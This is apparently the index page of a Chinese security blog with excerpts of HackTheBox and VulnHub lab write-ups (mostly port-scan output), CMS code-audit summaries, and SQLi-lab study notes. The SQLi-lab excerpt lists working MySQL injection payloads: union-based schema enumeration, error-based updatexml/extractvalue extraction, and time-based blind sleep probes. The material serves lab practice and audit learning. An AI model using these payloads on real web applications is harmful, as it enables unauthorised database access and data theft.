安全研究与工程实践

从语雀迁移的技术文章。

HackTheBox：OpenAdmin笔记

信息收集 10.10.10.171 Nmap # nmap -A 10.10.10.171 -oA nmap.tcp Nmap scan report for 10.10.10.171 Host is up (0.34s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 1185/tcp filtered catchpole 2046/tcp filtered sdfunc 2701/tcp filtered sms-rcinfo 2875/tcp filtered dxmessagebase2 24444/tcp filtered unknown Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (93%), Linux 3.2 - 4.9 (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 3.10 (92%), Android 4.1.2 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 5900/tcp) HOP RTT ADDRESS 1 354.54 ms 10.10.14.1 2 354.49 ms 10.10.10.171 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ 80端口：enum more -> OpenNetAdmin # dirb http://10.10.10.171/ -o dirb.scan ---- Scanning URL: http://10.10.10.171/ ---- ==> DIRECTORY: http://10.10.10.171/artwork/ + http://10.10.10.171/index.html (CODE:200|SIZE:10918) ==> DIRECTORY: http://10.10.10.171/music/ + http://10.10.10.171/server-status (CODE:403|SIZE:277) ---- Entering directory: http://10.10.10.171/artwork/ ---- ==> DIRECTORY: http://10.10.10.171/artwork/css/ ==> DIRECTORY: http://10.10.10.171/artwork/fonts/ ...

HackTheBox：Cronos笔记

信息收集 NMAP # nmap -sV -sC -Pn -p- --min-rate 1000 -oA scans\alltcp 10.10.10.13 Nmap scan report for 10.10.10.13 Host is up (1.0s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 80端口没东西。。。 ...

HackTheBox：Bastard 笔记

最近在玩HackTheBox上的靶机，觉得还是可以学到不少东西，下面就由如果也有想玩靶机的师傅，可以去注册个帐号玩玩，它注册的时候也需要完成一个类似CTF的题，还蛮有意思的。 ...

【投稿】MKCMS代码审计小结

原文首发于先知社区MKCMS代码审计小结 - 先知社区 MKCMS V6.2 (以下源码来自网络) MKCMS米酷影视源码6.2开源CMS 下载地址链接：https://pan.baidu.com/s/1cZX5x9SbcXMCMXismfH4ow 提取码：k3ox 备用下载地址：https://www.lanzous.com/ib7zwmh .htaccess ...

SQLi-lab学习笔记

bypass https://xz.aliyun.com/t/7767 ODBC：https://forum.butian.net/share/113 https://www.o2oxy.cn/2772.html 常用payload # 测试！ LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); # UNION BASED ## 列出所有数据库 union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA # 列出数据库test中的所有表(均可用16进制) union select group_concat(TABLE_name) from information_schema.tables where table_schema=`test` # 列出（数据库：test 表：admin ）中所有的字段 union select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=`test` and TABLE_NAME=`admin` UNION SELECT 1,2,group_concat( column_name,0x20)) from information_schema.columns # valid queries id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.schemata) -- + id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.tables where table_schema='security')-- # id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.columns where table_name='users') -- + - 注意：group_concat可以不跟group by，但里面必须跟列名，而不能跟子查询 - 回显常常有长度限制 # ERROR BASED 报错注 updatexml('2',concat('~',(select current_user()),'~'),'2')-- - extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1),'~'));-- - select from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )x-- - - concat可用concat_ws替代，也可用group_concat整合结果 # BLIND SQL injection 盲注，延时注 id = 1" and sleep(0)='1' -- - id=1" and if(1=1, sleep(3) , 1 ) -- - id=1 and 1=(case when (2=2) then sleep(5) else 1 end) -- # - 盲注似乎只能用是否延时，来确定是否闭合 - case when 后面的语句需要加括号，否则不能成功 # 基本信息 select @@basedir select @@datadir select current_user() select version() select @@version select database() select @@database # POC extractvalue(0X20, concat(0x5c, (VERSION（)),'~'));-- - 报错注入，需要语法无错误才可，该闭合的地方要闭合，如注释符（-- -）得出结论，一般可以用盲注的地方也可以用outfile|dumpfile|load_file. 盲注可分为两类：布尔盲注+基于时间的盲注。因为没有T/F的回显，即从响应上看不出任何差异（响应包括：响应大小/状态码/页内文字），只好采用延时函数, 一般来说，延时函数可以用sleep benchmark，不过下面的文章提到了一种新的延时方式。 ...

WeCenter代码审计

此处为语雀卡片，点击链接查看 WeCenter代码审计针对WeCenter 3.0.1的老版本作代码审计，顺便搞某台~~wecenter~~~~机器（~~学下mvc架构）概览全局的防注入函数，没毛病。不过假如数据库编码为gbk时，可用宽字节搞一波用了mysql_real_escape_string，我们需要在执行sql语句之前调用一下mysql_set_charset函数，设置当前连接的字符集为gbk。否则仍然不能抵御宽字符注入。 ...

BlueCMS代码审计小结

0x00 基础快捷键 Sublime 下一个词组：Ctrl+D 书签：Ctrl+F2、F2 展示函数：Ctrl+E 选中本行：Ctrl+L 匹配的括号：Ctrl+M 0x01 可重复安装正常安装完成后，存在可重复安装的问题，因为install.lock未能生成. ...

NexusPHP代码审计小结

NexusPHP是用于P2P下载的资源分享类CMS，源码下载链接是https://github.com/ZJUT/NexusPHP 前置分析 [ ](https://github.com/ZJUT/NexusPHP) 这套cms，存在全局过滤sql注入的函数sqlesc() nexusphp/include/globalfunctions.php #75 **全局过滤之防止SQL注入1。**用mysql防注入函数转义，并且用单引号包裹住语句，导致无法注入引号，也无法引入变量（单引号中的$不会被识别成变量） ...

vulnhub-GoldenEye笔记

信息收集 # 25/tcp open smtp | fingerprint-strings: | Hello: | 220 ubuntu GoldentEye SMTP Electronic-Mail agent |_ Syntax: EHLO hostname |_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, # 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: GoldenEye Primary Admin Server # 55006/tcp open ssl/pop3 Dovecot pop3d |_pop3-capabilities: RESP-CODES TOP CAPA AUTH-RESP-CODE SASL(PLAIN) USER PIPELINING UIDL | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Issuer: commonName=localhost/organizationName=Dovecot mail server | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-04-24T03:23:52 | Not valid after: 2028-04-23T03:23:52 | MD5: d039 2e71 c76a 2cb3 e694 ec40 7228 ec63 |_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77 |_ssl-date: TLS randomness does not represent time # 55007/tcp open pop3 Dovecot pop3d |_pop3-capabilities: RESP-CODES SASL(PLAIN) TOP PIPELINING STLS CAPA AUTH-RESP-CODE USER UIDL | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Issuer: commonName=localhost/organizationName=Dovecot mail server | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-04-24T03:23:52 | Not valid after: 2028-04-23T03:23:52 | MD5: d039 2e71 c76a 2cb3 e694 ec40 7228 ec63 |_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77 |_ssl-date: TLS randomness does not represent time 扫出两个端口，25端口尝试用smtp登录了下，失败 ...